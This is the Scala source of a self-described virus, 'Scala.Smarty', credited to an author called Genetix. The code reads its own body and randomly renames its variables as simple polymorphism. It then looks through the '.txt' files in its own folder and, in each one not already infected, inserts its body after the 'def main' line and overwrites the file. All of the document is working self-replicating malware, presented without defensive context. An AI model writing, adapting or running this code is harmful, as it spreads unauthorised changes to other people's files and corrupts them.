/* * Another virus (again) for LIP this time my victim is Scala * * Author: Genetix * Virus: Basic EPO (only inserting code in to main) and lame variable changing polymorphism * Name: Scala.Smarty (I have a Dart.Smarty so...) it's just easy naming! */ import java.io.File object main { def main(args: Array[String]) = { //begin var read = 0 val ioImport : String = "import java.io.File" var vbody : String = "" var v_vars = Array( "v_vars", "read", "vscript", "vsource", "vpath", "tmpList", "chars", "directory", "hcode", "soul", "hlines", "hsource", "infected", "hentry", "vlines", "vcarray", "v_line","ioImport", "hbody", "vwriter", "count", "newCode", "hcarray", "nlines") val vscript: String = System.getProperty("sun.java.command").split(" ")(1) val vsource = scala.io.Source.fromFile(vscript) val vlines = vsource.mkString vsource.close() val vcarray = vlines.split("\r\n") for (v_line <- vcarray) { if (v_line.trim() == "//begin") read=1 if (v_line.trim() == "//endre") read=0 if (read==1) { vbody += "\r\n" + v_line } } var chars: Seq[Char] = ('a' to 'z') ++ ('A' to 'Z') var tmpList = List.range(0, 10) for(i <- 0 until v_vars.length){ vbody = vbody.replace(v_vars(i), tmpList.map{ e => chars(util.Random.nextInt(chars.length)) }.mkString) } var vs = vscript.reverse val vindex = vs.indexOf("\\") val vpath = (vs.substring(vindex, vs.length)).reverse val directory = new File(vpath) val souls = directory.listFiles for (hfile <- souls) { var soul = hfile.getName() if (soul.endsWith(".txt")) { var hcode : String = "" var hasio : Int = 1 var infected : Int = 0 var hentry : Int = 0 var count : Int = 0 var newCode : String = "" var hbody : String = "" var lc: Int = 0 var hsource = scala.io.Source.fromFile(vpath+soul) var hlines = hsource.mkString hsource.close() if(!hlines.contains(ioImport)) hasio=0 if(hlines.contains("Scala.Smarty")) infected=1 if(infected==0) { var hcarray = hlines.split("\r\n") for (h_line <- hcarray) { count+=1 if (h_line.contains("def main")) { hentry = count+1 } } count=0 //new we have an entry location if (hasio==0) newCode = ioImport for (nlines <- hcarray) { lc+=1 if (lc==hentry) newCode += "\r\n" + vbody + "\r\n" + "//endre" newCode += "\r\n" + nlines } var vwriter = new java.io.PrintWriter(new File(vpath+soul)) vwriter.write(newCode) vwriter.close() } } } //endre } }